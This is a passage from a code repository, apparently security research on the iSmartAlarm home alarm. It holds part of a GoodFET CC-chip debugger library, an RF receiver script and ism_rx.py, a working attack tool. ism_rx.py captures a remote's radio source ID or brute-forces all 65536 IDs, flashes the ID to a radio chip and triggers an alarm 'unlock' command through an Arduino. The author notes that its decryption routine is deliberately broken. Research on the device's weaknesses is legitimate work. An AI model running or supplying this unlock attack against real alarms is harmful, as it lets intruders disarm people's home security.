(adr&0xff00)>>8, val]; 948 | self.writecmd(self.APP, 0x92, 3, self.data); 949 | return ord(self.data[0]); 950 | def CCchiperase(self): 951 | """Erase all of the target's memory.""" 952 | self.writecmd(self.APP,0x80,0,None); 953 | def erase(self): 954 | """Erase all of the target's memory.""" 955 | self.CCchiperase(); 956 | self.start(); 957 | 958 | def CCstatus(self): 959 | """Check the status.""" 960 | self.writecmd(self.APP,0x84,0,None); 961 | return ord(self.data[0]) 962 | #Same as CC2530 963 | CCstatusbits={0x80 : "erase_busy", 964 | 0x40 : "pcon_idle", 965 | 0x20 : "cpu_halted", 966 | 0x10 : "pm0", 967 | 0x08 : "halt_status", 968 | 0x04 : "locked", 969 | 0x02 : "oscstable", 970 | 0x01 : "overflow" 971 | }; 972 | CCconfigbits={0x20 : "soft_power_mode", #new for CC2530 973 | 0x08 : "timers_off", 974 | 0x04 : "dma_pause", 975 | 0x02 : "timer_suspend", 976 | 0x01 : "sel_flash_info_page" #stricken from CC2530 977 | }; 978 | 979 | def status(self): 980 | """Check the status as a string.""" 981 | status=self.CCstatus(); 982 | str=""; 983 | i=1; 984 | while i<0x100: 985 | if(status&i): 986 | str="%s %s" %(self.CCstatusbits[i],str); 987 | i*=2; 988 | return str; 989 | def start(self): 990 | """Start debugging.""" 991 | ident=0x0000; 992 | #while ident==0xFFFF or ident==0x0000: 993 | self.setup(); 994 | self.writecmd(self.APP,0x20,0,self.data); 995 | identa=self.CCident(); 996 | self.CCidentstr(); 997 | 998 | ident=self.CCident(); 999 | #Get SmartRF Studio regs if they exist. 1000 | self.loadsymbols(); 1001 | #print "Status: %s" % self.status(); 1002 | def stop(self): 1003 | """Stop debugging.""" 1004 | self.writecmd(self.APP,0x21,0,self.data); 1005 | def CCstep_instr(self): 1006 | """Step one instruction.""" 1007 | self.writecmd(self.APP,0x89,0,self.data); 1008 | def CCeraseflashbuffer(self): 1009 | """Erase the 2kB flash buffer""" 1010 | self.writecmd(self.APP,0x99); 1011 | def CCflashpage(self,adr): 1012 | """Flash 2kB a page of flash from 0xF000 in XDATA""" 1013 | data=[adr&0xFF, 1014 | (adr>>8)&0xFF, 1015 | (adr>>16)&0xFF, 1016 | (adr>>24)&0xFF]; 1017 | print "Flashing buffer to 0x%06x" % adr; 1018 | self.writecmd(self.APP,0x95,4,data); 1019 | 1020 | def setsecret(self,value): 1021 | """Set a secret word for later retreival. Used by glitcher.""" 1022 | page = 0x0000; 1023 | pagelen = self.CCpagesize(); #Varies by chip. 1024 | print "page=%04x, pagelen=%04x" % (page,pagelen); 1025 | 1026 | self.CCeraseflashbuffer(); 1027 | print "Setting secret to %x" % value; 1028 | self.CCpokedatabyte(0xF000,value); 1029 | self.CCpokedatabyte(0xF800,value); 1030 | print "Setting secret to %x==%x" % (value, 1031 | self.CCpeekdatabyte(0xf000)); 1032 | self.CCflashpage(0); 1033 | print "code[0]=%x" % self.CCpeekcodebyte(0); 1034 | def getsecret(self): 1035 | """Get a secret word. Used by glitcher.""" 1036 | secret=self.CCpeekcodebyte(0); 1037 | #print "Got secret %02x" % secret; 1038 | return secret; 1039 | 1040 | #FIXME: This is CC1110-specific and duplicates functionality of 1041 | # SmartRF7 integration. 1042 | CCspecfuncregs={ 1043 | 'P0':0x80, 1044 | 'SP':0x81, 1045 | 'DPL0':0x82, 1046 | 'DPH0':0x83, 1047 | 'DPL1':0x84, 1048 | 'DPH1':0x85, 1049 | 'U0CSR':0x86, 1050 | 'PCON':0x87, 1051 | 'TCON':0x88, 1052 | 'P0IFG':0x89, 1053 | 'P1IFG':0x8A, 1054 | 'P2IFG':0x8B, 1055 | 'PICTL':0x8C, 1056 | 'P1IEN':0x8D, 1057 | 'P0INP':0x8F, 1058 | 'P1':0x90, 1059 | 'RFIM':0x91, 1060 | 'DPS':0x92, 1061 | 'MPAGE':0x93, 1062 | 'ENDIAN':0x95, 1063 | 'S0CON':0x98, 1064 | 'IEN2':0x9A, 1065 | 'S1CON':0x9B, 1066 | 'T2CT':0x9C, 1067 | 'T2PR':0x9D, 1068 | 'T2CTL':0x9E, 1069 | 'P2':0xA0, 1070 | 'WORIRQ':0xA1, 1071 | 'WORCTRL':0xA2, 1072 | 'WOREVT0':0xA3, 1073 | 'WOREVT1':0xA4, 1074 | 'WORTIME0':0xA5, 1075 | 'WORTIME1':0xA6, 1076 | 'IEN0':0xA8, 1077 | 'IP0':0xA9, 1078 | 'FWT':0xAB, 1079 | 'FADDRL':0xAC, 1080 | 'FADDRH':0xAD, 1081 | 'FCTL':0xAE, 1082 | 'FWDATA':0xAF, 1083 | 'ENCDI':0xB1, 1084 | 'ENCDO':0xB2, 1085 | 'ENCCS':0xB3, 1086 | 'ADCCON1':0xB4, 1087 | 'ADCCON2':0xB5, 1088 | 'ADCCON3':0xB6, 1089 | 'IEN1':0xB8, 1090 | 'IP1':0xB9, 1091 | 'ADCL':0xBA, 1092 | 'ADCH':0xBB, 1093 | 'RNDL':0xBC, 1094 | 'RNDH':0xBD, 1095 | 'SLEEP':0xBE, 1096 | 'IRCON':0xC0, 1097 | 'U0DBUF':0xC1, 1098 | 'U0BAUD':0xC2, 1099 | 'U0UCR':0xC4, 1100 | 'U0GCR':0xC5, 1101 | 'CLKCON':0xC6, 1102 | 'MEMCTR':0xC7, 1103 | 'WDCTL':0xC9, 1104 | 'T3CNT':0xCA, 1105 | 'T3CTL':0xCB, 1106 | 'T3CCTL0':0xCC, 1107 | 'T3CC0':0xCD, 1108 | 'T3CCTL1':0xCE, 1109 | 'T3CC1':0xCF, 1110 | 'PSW':0xD0, 1111 | 'DMAIRQ':0xD1, 1112 | 'DMA1CFGL':0xD2, 1113 | 'DMA1CFGH':0xD3, 1114 | 'DMA0CFGL':0xD4, 1115 | 'DMA0CFGH':0xD5, 1116 | 'DMAARM':0xD6, 1117 | 'DMAREQ':0xD7, 1118 | 'TIMIF':0xD8, 1119 | 'RFD':0xD9, 1120 | 'T1CC0L':0xDA, 1121 | 'T1CC0H':0xDB, 1122 | 'T1CC1L':0xDC, 1123 | 'T1CC1H':0xDD, 1124 | 'T1CC2L':0xDE, 1125 | 'T1CC2H':0xDF, 1126 | 'ACC':0xE0, 1127 | 'RFST':0xE1, 1128 | 'T1CNTL':0xE2, 1129 | 'T1CNTH':0xE3, 1130 | 'T1CTL':0xE4, 1131 | 'T1CCTL0':0xE5, 1132 | 'T1CCTL1':0xE6, 1133 | 'T1CCTL2':0xE7, 1134 | 'IRCON2':0xE8, 1135 | 'RFIF':0xE9, 1136 | 'T4CNT':0xEA, 1137 | 'T4CTL':0xEB, 1138 | 'T4CCTL0':0xEC, 1139 | 'T4CC0':0xED, 1140 | 'T4CCTL1':0xEE, 1141 | 'T4CC1':0xEF, 1142 | 'B':0xF0, 1143 | 'PERCFG':0xF1, 1144 | 'ADCCFG':0xF2, 1145 | 'P0SEL':0xF3, 1146 | 'P1SEL':0xF4, 1147 | 'P2SEL':0xF5, 1148 | 'P1INP':0xF6, 1149 | 'P2INP':0xF7, 1150 | 'U1CSR':0xF8, 1151 | 'U1DBUF':0xF9, 1152 | 'U1BAUD':0xFA, 1153 | 'U1UCR':0xFB, 1154 | 'U1GCR':0xFC, 1155 | 'P0DIR':0xFD, 1156 | 'P1DIR':0xFE, 1157 | 'P2DIR':0xFF 1158 | } 1159 | def getSPR(self,args=[]): 1160 | """Get special function registers.""" 1161 | print "Special Function Registers:" 1162 | if len(args): 1163 | for e in args: 1164 | print " %-8s : 0x%0.2x"%(e,self.CCpeekcodebyte(self.CCspecfuncregs[e])) 1165 | else: 1166 | for e in self.CCspecfuncregs.keys(): 1167 | print " %-8s : 0x%0.2x"%(e,self.CCpeekcodebyte(self.CCspecfuncregs[e])) 1168 | 1169 | def dump(self,file,start=0,stop=0xffff): 1170 | """Dump an intel hex file from code memory.""" 1171 | print "Dumping code from %04x to %04x as %s." % (start,stop,file); 1172 | h = IntelHex(None); 1173 | i=start; 1174 | while i<=stop: 1175 | h[i]=self.CCpeekcodebyte(i); 1176 | if(i%0x100==0): 1177 | print "Dumped %04x."%i; 1178 | h.write_hex_file(file); #buffer to disk. 1179 | i+=1; 1180 | h.write_hex_file(file); 1181 | 1182 | def flash(self,file): 1183 | """Flash an intel hex file to code memory.""" 1184 | print "Flashing %s" % file; 1185 | 1186 | h = IntelHex(file); 1187 | page = 0x0000; 1188 | pagelen = self.CCpagesize(); #Varies by chip. 1189 | 1190 | #print "page=%04x, pagelen=%04x" % (page,pagelen); 1191 | 1192 | bcount = 0; 1193 | 1194 | #Wipe the RAM buffer for the next flash page. 1195 | self.CCeraseflashbuffer(); 1196 | for i in h._buf.keys(): 1197 | while(i>=page+pagelen): 1198 | if bcount>0: 1199 | self.CCflashpage(page); 1200 | #client.CCeraseflashbuffer(); 1201 | bcount=0; 1202 | print "Flashed page at %06x" % page 1203 | page+=pagelen; 1204 | 1205 | #Place byte into buffer. 1206 | self.CCpokedatabyte(0xF000+i-page, 1207 | h[i]); 1208 | bcount+=1; 1209 | if(i%0x100==0): 1210 | print "Buffering %04x toward %06x" % (i,page); 1211 | #last page 1212 | self.CCflashpage(page); 1213 | print "Flashed final page at %06x" % page; 1214 | 1215 | -------------------------------------------------------------------------------- /scripts/GoodFETCC.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/seekintoo/iSmartAlarm/270fabc544bb94245f8e79276852282832d27e8b/scripts/GoodFETCC.pyc -------------------------------------------------------------------------------- /scripts/grc: -------------------------------------------------------------------------------- 1 | ../grc -------------------------------------------------------------------------------- /scripts/ism_rx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #============================================================= 3 | # iSmartAlarm RF Disector, Decrypter, and Attacker 4 | # Dayton Pidhirney (https://www.seekintoo.ca) 5 | #============================================================= 6 | # 7 | # Usage: ism_rx.py [-k KEY] [-i IV](int) [-d](Enable debug) [-a](attack mode) [-p](Arduino serial port) 8 | # 9 | # optional arguments: 10 | # -k, --key Optional and purposely broken 128-bit XTEA Key 11 | # -i, --iv Optional and purposely broken 32-bit XTEA IV (must be an unsigned integer) 12 | # -d, --debug Enables frame debugging output to stdout 13 | # -a, --attack Enables ID attack mode (Eg. -a 0) 14 | # -n, --delay Specify delay in 'n' sec until sending alarm system unlock command 15 | # -p, --port Specify Arduino serial port (needed for attack mode) 16 | # 17 | #============================================================= 18 | 19 | # Imports 20 | import sys, os 21 | import ctypes 22 | import datetime 23 | import argparse 24 | import serial 25 | 26 | from grc.ism_demod import ism_demod 27 | from threading import Thread 28 | from xtea import * 29 | from binascii import hexlify, unhexlify 30 | from time import sleep 31 | from cStringIO import StringIO 32 | from GoodFETCC import GoodFETCC 33 | 34 | 35 | # Colors 36 | def pink(t): return '\033[95m' + t + '\033[0m' 37 | def blue(t): return '\033[94m' + t + '\033[0m' 38 | def yellowbold(t): return '\033[93m' + t + '\033[0m' 39 | def yellow(t): return '\033[33m' + t + '\033[0m' 40 | def cyan(t): return '\033[36m' + t + '\033[0m' 41 | def green(t): return '\033[92m' + t + '\033[0m' 42 | def red(t): return '\033[91m' + t + '\033[0m' 43 | 44 | # Thread dedicated to GNU Radio flowgraph 45 | class flowgraph_thread(Thread): 46 | def __init__(self, flowgraph): 47 | Thread.__init__(self) 48 | self.setDaemon(1) 49 | self._flowgraph = flowgraph 50 | 51 | def run(self): 52 | self._flowgraph.Run() 53 | # No need to create stop func because raising SystemExit is same as thread.exit() 54 | 55 | # Clear the screen with escape characters 56 | def clearscreen(): 57 | print(chr(27) + "[2J") 58 | 59 | def exit_clean(): 60 | global client 61 | global ser 62 | 63 | if client != None: # TODO: remove none and check if empty instead 64 | client.stop() 65 | 66 | if ser != None: 67 | ser.close() 68 | 69 | print "\n%s Exiting\n" % red("[!]") 70 | sys.exit() 71 | 72 | # Generate timestamp 73 | def get_time(): 74 | current_time = datetime.datetime.now().time() 75 | return current_time.isoformat() 76 | 77 | def run_flowgraph(): 78 | # Some kind of wizardry that GNURadio says we needglobal client to do. Doesn't run otherwise. 79 | if sys.platform.startswith('linux'): 80 | try: 81 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 82 | x11.XInitThreads() 83 | except: 84 | print red("[ERROR] failed to XInitThreads()") 85 | exit_clean() 86 | 87 | # Some additional output 88 | print "\n%s\n" % yellowbold("[INFO] Starting flowgraph") 89 | 90 | # Initializing GNU Radio flowgraph 91 | flowgraph = ism_demod() 92 | #clearscreen() 93 | 94 | # Start flowgraph inside a thread or it will be slow as shit 95 | flowgraph_t = flowgraph_thread(flowgraph) 96 | flowgraph_t.start() 97 | 98 | # current frequency 99 | freq = 0 100 | 101 | # Until flowgraph thread is running (and we hope 'producing') 102 | while flowgraph_t.isAlive(): 103 | # Did we change frequency? 104 | if freq != flowgraph.get_frequency(): 105 | print yellowbold("\n[INFO] Frequency tuned to: %0.2f KHz") % float(flowgraph.get_frequency()/1000) 106 | freq = flowgraph.get_frequency() 107 | 108 | # Emptying message queue 109 | while True: 110 | if flowgraph.myqueue.count() <= 0: 111 | break; 112 | frame = flowgraph.myqueue.delete_head_nowait().to_string() 113 | dump_frame(frame) 114 | 115 | #TODO # myque.delete_head_nowait() keeps blocking, so we do this instead. 116 | sleep(0.1) 117 | 118 | exit_clean() 119 | 120 | def serialpoke(byte): 121 | global ser 122 | try: 123 | if (ser): 124 | print yellowbold("[INFO] Writing Serial") 125 | #sleep(1.7) 126 | ser.write(byte) 127 | ser.flush() 128 | print green("\t[SUCCESS]") 129 | except Exception, e: 130 | print red("[ERROR] Error poking Arduino!\n\t%s" % red(e)) 131 | exit_clean() 132 | 133 | def from_bytes(bytes): 134 | from array import array #TODO: figure out global array 135 | assert len(bytes) >= 4 136 | # calculate checksum 137 | s = (-sum(bytes)) & 0x0FF 138 | bin = array('B', bytes + bytearray([s])) 139 | return ':' + hexlify(bin.tostring()).upper() 140 | 141 | def data(offset, bytes): 142 | assert 0 <= offset < 65536 143 | assert 0 < len(bytes) < 256 144 | b = bytearray([len(bytes), (offset>>8)&0x0FF, offset&0x0FF, 0x00]) + bytes 145 | return from_bytes(b) 146 | 147 | def offset(offset): 148 | from array import array #TODO: figure out global array 149 | assert 0 <= offset < 65536 150 | b = array('B', [(offset>>8)&0x0FF, offset&0x0FF]) 151 | return hexlify(b.tostring()).upper() 152 | 153 | def attack(attack_type): 154 | try: 155 | global ser 156 | global args 157 | 158 | byte = '1' 159 | 160 | #Initialize GoodFET serial port connection 161 | client=GoodFETCC() 162 | client.serInit() 163 | 164 | # Connect to GoodFET 165 | client.setup() 166 | 167 | # Initialize GoodFET client multiple times, this is due to poor JTAG latching 168 | client.start() 169 | client.start() 170 | client.start() 171 | client.start() 172 | 173 | # Open serial pipe to Arduino 174 | ser = serial.Serial(args.port, 9600, timeout=0) 175 | 176 | if attack_type == '0': 177 | clearscreen() 178 | 179 | id = 'FFFFFFFFFFFFFF0000000000070000FF' 180 | bytes = bytearray.fromhex(id) 181 | 182 | counter = 0 #38520 183 | 184 | while True: 185 | if counter == 65535: 186 | break 187 | counter += 1 188 | bytes[13:15] = unhexlify(offset(counter)) 189 | 190 | f = StringIO(data(32752, bytes) + '\n:00000001FF') 191 | print pink("IHEX:\n" + f.getvalue() + '\n') 192 | client.flash(f) 193 | f.close() 194 | 195 | client.stop() 196 | sleep(2.5) 197 | serialpoke(byte) 198 | sleep(0.6) 199 | client.start(); 200 | print green("[SUCCESS] All 65536 ID's have been exhausted, good day.") 201 | exit_clean() 202 | 203 | else: 204 | 205 | global src_id 206 | 207 | print green("[SUCCESS] Source ID captured from iSmartAlarm remote or sensor, attempting unlock...\n") 208 | 209 | id = 'FFFFFFFFFFFFFF00000000' + src_id + 'FF' 210 | bytes = bytearray.fromhex(id) 211 | 212 | if attack_type == '2': 213 | raw_input('Press [ENTER] when ready to unlock:') 214 | else: 215 | print yellowbold("[INFO] Delay mode enabled. Waiting %i seconds till unlock" % args.delay) 216 | sleep(args.delay) 217 | 218 | f = StringIO(data(32752, bytes) + '\n:00000001FF') 219 | print pink("IHEX:\n" + f.getvalue() + '\n') 220 | client.flash(f) 221 | f.close() 222 | 223 | client.stop() 224 | sleep(2.5) 225 | serialpoke(byte) 226 | sleep(0.6) 227 | print green("[SUCCESS] Hopefully unlocked :D") 228 | exit_clean() 229 | 230 | except Exception, e: 231 | print red("\n[ERROR] An error occured while flashing ID's\n\t%s" % e) 232 | exit_clean() 233 | 234 | print green("[SUCCESS] All 65536 ID's have been exhausted, good day.") 235 | exit_clean() 236 | 237 | # Print frames to stdout 238 | def dump_frame(frame): 239 | global args 240 | global src_id 241 | global xtea 242 | global ctr_hint 243 | 244 | # Dissect the frame from GNURadio myque 245 | pkt_len = hexlify(frame[0:1]).upper() 246 | dst_id = hexlify(frame[1:5]).upper() 247 | src_id = hexlify(frame[5:9]).upper() 248 | port = hexlify(frame[9:10]).upper() 249 | devinfo = hexlify(frame[10:11]).upper() 250 | tractid = hexlify(frame[11:12]).upper() 251 | data = hexlify(frame[12:]).upper() 252 | security = None 253 | ctr_hint = None 254 | mac = None 255 | 256 | data_print = " ".join(hexlify(n) for n in frame[12:]).upper() 257 | #Is the payload a block of 64bits and XTEA key/IV Provided? 258 | if pkt_len == '13': # TODO: check if packet in nwk app, if so xtea with random lsb ctr 259 | print yellowbold("\n[INFO] Payload is 64bits and is encrypted") 260 | security = True 261 | ctr_hint = hexlify(frame[12:13]).upper() 262 | mac = hexlify(frame[13:15]).upper() 263 | data_print = " ".join(hexlify(n) for n in frame[15:]).upper() 264 | 265 | if len(data) == 0: 266 | data_print = "[ERROR] No payload found! Improper frame allignment or radio error?" 267 | 268 | # If debug arg is set show raw frame data 269 | if args.debug: 270 | print cyan("[DEBUG] hexidecimal frame: %s") % "".join(hexlify(n) for n in frame) 271 | 272 | # Print out the frame formatted for SMPL_SECURE mode 273 | if security != None: 274 | print "[%s] %s %s %s %s %s %s %s [%s %s] " % ((get_time(), yellowbold(pkt_len), red(dst_id), green(src_id), yellow(port), pink(devinfo), cyan(tractid), blue(ctr_hint), red(mac), red(data_print))) 275 | if xtea!= None: 276 | xtea_decrypt(args.key, args.iv, hexlify(frame[13:])) 277 | 278 | else: 279 | # Print out the frame formatted 280 | print "[%s] %s %s %s %s %s %s %s" % ((get_time(), yellowbold(pkt_len), red(dst_id), green(src_id), yellow(port), pink(devinfo), cyan(tractid), red(data_print))) 281 | 282 | if args.attack == '2' or '1' : 283 | attack(args.attack) 284 | 285 | def ctr_hint(): 286 | global ctr_hint 287 | return ctr_hint 288 | 289 | # XTEA ciphertext decryption function #BROKEN ON PURPOSE: If you use -k or -i flags this will not work unless you fix it. 290 | def xtea_decrypt(xtea_key, xtea_iv, data): 291 | print yellowbold("[INFO] Attempting to decrypt payload") 292 | 293 | i = new(xtea_key, mode=MODE_CTR, IV=xtea_iv, counter=ctr_hint()) 294 | cipher_block = i.encrypt(data) 295 | plain_text = xor_strings(cipher_block, data) 296 | print yellowbold("[INFO] Recovered plaintext: %s" % plain_text) 297 | 298 | # Main entry point 299 | def main(): 300 | global args 301 | global xtea 302 | global client 303 | global ser 304 | 305 | # Crypto object 306 | xtea = None 307 | client = None 308 | ser = None 309 | 310 | # Parse args 311 | parser = argparse.ArgumentParser() 312 | parser.add_argument("-k", "--key", help="Optional XTEA key", type=str) 313 | parser.add_argument("-i", "--iv", help="Optional XTEA IV", type=int) 314 | parser.add_argument("-a", "--attack", help="Enable attack mode: -a 2: radio attack mode, -a 1: radio attack with delay(specify with -n), -a 0: brute-force", type=str) 315 | parser.add_argument("-n", "--delay", help="Specify delay in 'n' seconds until sending alarm system unlock command", type=int) 316 | parser.add_argument("-p", "--port", help="Specify serial port dev location for Arduino. Eg: /dev/ttyUSB0", type=str) 317 | parser.add_argument("-d", "--debug", help="output raw frame data in binary and hexidecimal format to stdout", action="store_true") 318 | args = parser.parse_args() 319 | 320 | # Check args and print key and IV values. 321 | if (args.key) and (args.iv): 322 | xtea = True 323 | print "%s" % yellowbold("[INFO] XTEA key and IV provided: %s" % green("Decryption Enabled\n")) 324 | print "\t%s" % yellowbold("XTEA IV : " + str(args.iv)) 325 | print "\t%s" % yellowbold("XTEA KEY: " + args.key) 326 | 327 | if (args.debug): 328 | print yellowbold("[INFO] Debugging has been enabled") 329 | 330 | elif not (args.attack != '0'): 331 | print yellowbold("[INFO] Decryption is disabled") 332 | 333 | if (args.attack): 334 | if args.attack == '2': 335 | print yellowbold("[INFO] ID radio attack mode has been enabled") 336 | 337 | elif args.attack == '1' and (args.delay): 338 | print yellowbold("[INFO] ID radio attack mode has been enabled with delay") 339 | 340 | elif args.attack == '0': 341 | print yellowbold("[INFO] ID bruteforce attack mode has been enabled") 342 | attack(args.attack) 343 | 344 | else: 345 | parser.print_help() 346 | print red("[Error] Incorrect attack type [%s] or delay error" % args.attack) 347 | exit_clean() 348 | 349 | if (args.port): 350 | try: 351 | serial.Serial(args.port) 352 | serial.Serial(args.port).close() 353 | print yellowbold("[INFO] Using arduino port: %s") % args.port 354 | 355 | except Exception: 356 | print red("[ERROR] The serial port [%s] is not valid, or you don't have permission\n") % args.port 357 | exit_clean() 358 | 359 | else: 360 | parser.print_help() 361 | print red("[ERROR] Attack mode requires Arduino serial port location") 362 | 363 | run_flowgraph() 364 | 365 | else: 366 | run_flowgraph() 367 | 368 | if __name__ == '__main__': 369 | main() 370 | exit_clean() 371 | 372 | # vim: shiftwidth=4 softtabstop=4 373 | -------------------------------------------------------------------------------- /scripts/rfcat_receiver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys 4 | import time 5 | from rflib import * 6 | from binascii import hexlify, unhexlify 7 | 8 | #These values will be most likely incorrect for your environment and target radio. Change them accordingly. 9 | 10 | def ConfigureD(d, freq): 11 | d.setModeIDLE() 12 | d.setMdmModulation(MOD_GFSK) 13 | d.setFreq(freq) 14 | d.setMdmDeviatn(19042.969) 15 | d.setMdmChanBW(101562.5) 16 | d.setMdmDRate(38383.5) 17 | # d.setMdmChanSpc(199951.172) 18 | d.setMdmChanSpc(51000) 19 | d.setMdmSyncWord(0xd391) 20 | d.setMdmSyncMode(SYNCM_CARRIER) 21 | d.setEnablePktCRC(1) 22 | d.setEnablePktDataWhitening(0) 23 | d.setEnablePktAppendStatus(0) 24 | # d.makePktFLEN(0xff) 25 | d.makePktVLEN() 26 | d.printRadioConfig() 27 | 28 | def main(): 29 | 30 | try: 31 | if len(sys.argv) != 2: 32 | print "Usage : %s 908000000" % sys.argv[0] 33 | sys.exit(0) 34 | 35 | d = RfCat() 36 | ConfigureD(d, long(sys.argv[1])) 37 | d.setModeRX() 38 | 39 | while True: 40 | pkt = d.RFrecv(timeout=120000) 41 | frame = hexlify(pkt[0]) 42 | print "[rfcat recv] : '%s'\n" % (frame) 43 | 44 | except KeyboardInterrupt, e: 45 | print("W: interrupt received, proceeding") 46 | print e 47 | 48 | finally: 49 | d.setModeIDLE() 50 | sys.exit(0) 51 | 52 | if __name__ == '__main__': 53 | main() 54 | RfCat().setModeIDLE() 55 | sys.exit(0) 56 | --------------------------------------------------------------------------------